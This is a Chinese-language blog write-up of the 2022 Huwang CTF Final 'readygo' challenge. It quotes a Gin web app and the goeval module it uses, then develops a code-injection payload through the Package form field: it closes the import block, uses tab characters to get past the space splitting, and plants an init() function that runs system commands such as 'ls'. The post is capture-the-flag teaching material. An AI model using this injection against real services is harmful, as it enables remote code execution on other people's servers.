Author: 颖奇L’Amore
Blog: www.gem-love.com
前言 题目来自于2022虎符CTF Final的readygo,给了源码
package mainimport ( eval "github.com/PaulXu-cn/goeval" "github.com/gin-gonic/gin" "regexp" ) func main () { r := gin.Default() r.LoadHTMLFiles("html/index.html" , "html/result.html" ) r.GET("/" , func (c *gin.Context) { c.Header("server" , "Gin" ) c.HTML(200 , "index.html" , "" ) }) r.POST("/parse" , func (c *gin.Context) { expression := c.DefaultPostForm("expression" , "666" ) Package := c.DefaultPostForm("Package" , "fmt" ) match, _ := regexp.MatchString("([a-zA-Z]+)" , expression) if match { c.String(200 , "Hacker????" ) return } else { if res, err := eval.Eval("" , "fmt.Print(" +expression+")" , Package); nil == err { c.HTML(200 , "result.html" , gin.H{"result" : string (res)}) } else { c.HTML(200 , "result.html" , err.Error()) } } }) r.Run() }
分析 题目分析 gin框架,漏洞主要在这里
expression := c.DefaultPostForm("expression" , "666" ) Package := c.DefaultPostForm("Package" , "fmt" ) eval.Eval("" , "fmt.Print(" +expression+")" , Package);
使用的eval是来自github.com/PaulXu-cn/goeval的第三方模块
分析一下goeval的源码,可见是代码的拼接 生成文件 然后运行
package goevalimport ( "fmt" "go/format" "math/rand" "os" "os/exec" "strings" "time" ) const ( letterBytes = "abcdefghijklmnopqrstuvwxyz" letterIdxBits = 6 letterIdxMask = 1 <<letterIdxBits - 1 letterIdxMax = 63 / letterIdxBits ) var ( dirSeparator = "/" tempDir = os.TempDir() src = rand.NewSource(time.Now().UnixNano()) ) func RandString (n int ) string { b := make ([]byte , n) for i, cache, remain := n-1 , src.Int63(), letterIdxMax; i >= 0 ; { if remain == 0 { cache, remain = src.Int63(), letterIdxMax } if idx := int (cache & letterIdxMask); idx < len (letterBytes) { b[i] = letterBytes[idx] i-- } cache >>= letterIdxBits remain-- } return string (b) } func Eval (defineCode string , code string , imports ...string ) (re []byte , err error) { var ( tmp = `package main %s %s func main() { %s } ` importStr string fullCode string newTmpDir = tempDir + dirSeparator + RandString(8 ) ) if 0 < len (imports) { importStr = "import (" for _, item := range imports { if blankInd := strings.Index(item, " " ); -1 < blankInd { importStr += fmt.Sprintf("\n %s \"%s\"" , item[:blankInd], item[blankInd+1 :]) } else { importStr += fmt.Sprintf("\n\"%s\"" , item) } } importStr += "\n)" } fullCode = fmt.Sprintf(tmp, importStr, defineCode, code) var codeBytes = []byte (fullCode) if formatCode, err := format.Source(codeBytes); nil == err { codeBytes = formatCode } if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err { return } defer os.RemoveAll(newTmpDir) tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go" ) if err != nil { return re, err } defer os.Remove(tmpFile.Name()) tmpFile.Write(codeBytes) tmpFile.Close() cmd := exec.Command("go" , "run" , tmpFile.Name()) res, err := cmd.CombinedOutput() return res, err }
这里我们的package是没有被过滤的,但是goeval会用空格作为分割,然后来做模块的导入
if blankInd := strings.Index(item, " " ); -1 < blankInd { importStr += fmt.Sprintf("\n %s \"%s\"" , item[:blankInd], item[blankInd+1 :])
所以基本可以肯定是通过Package进行代码注入
代码注入 这里我们可以注入Package一个")
构造了import
的闭合,但是其后还有一个")
就像这样:
expression := "123" Package := "fmt\"\n)" res, _ := eval.Eval("" , "fmt.Print(" +expression+")" , Package) fmt.Println(string (res))
得到
package mainimport ("fmt" )" ) func main() { fmt.Print(123) }
于是我们可以在后面再注入进去一个var
这里还需要用\t
来替换空格,因为空格是会被当做多个依赖包进行拆分的
expression := "123" Package := "fmt\"\n)\nvar\t(\na=\"1" res, _ := eval.Eval("" , "fmt.Print(" +expression+")" , Package) fmt.Println(string (res))
得到如下代码 可以运行成功:
import ("fmt" ) var (a="1" ) func main () {fmt.Print(123 ) }
执行函数 尽管可以注入进去代码,但是执行依然是执行main
函数,而main
函数我们无法修改,导致没法执行其他的代码。
但是在go语言中有一个特殊的init()
函数,他在main()
之前自动执行,所以我们可以注入进去一个init()
expression := "123" Package := "fmt\"\n)\nfunc\tinit(){\nfmt.Print(\"我是init\")\n}\nvar\t(\na=\"1" res, _ := eval.Eval("" , "fmt.Print(" +expression+")" , Package) fmt.Println(string (res))
得到
package mainimport ("fmt" ) func init () {fmt.Print("我是init" ) } var (a="1" ) func main () {fmt.Print(123 ) }
运行成功:
执行系统命令 下一步就是执行系统命令了,可以这样执行:
package mainimport ( "fmt" "os/exec" ) func main () { cmd := exec.Command("ls" ) out, _ := cmd.CombinedOutput() fmt.Println(string (out)) }
于是构造这样的Payload:
expression := "123" Package := "\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1" res, _ := eval.Eval("" , "fmt.Print(" +expression+")" , Package) fmt.Println(string (res))
生成的代码是
package mainimport ( "os/exec" "fmt" ) func init () {cmd:=exec.Command("ls" ) out,_:=cmd.CombinedOutput() fmt.Println(string (out)) } var (a="1" ) func main () {fmt.Print(123 ) }
ls
命令运行成功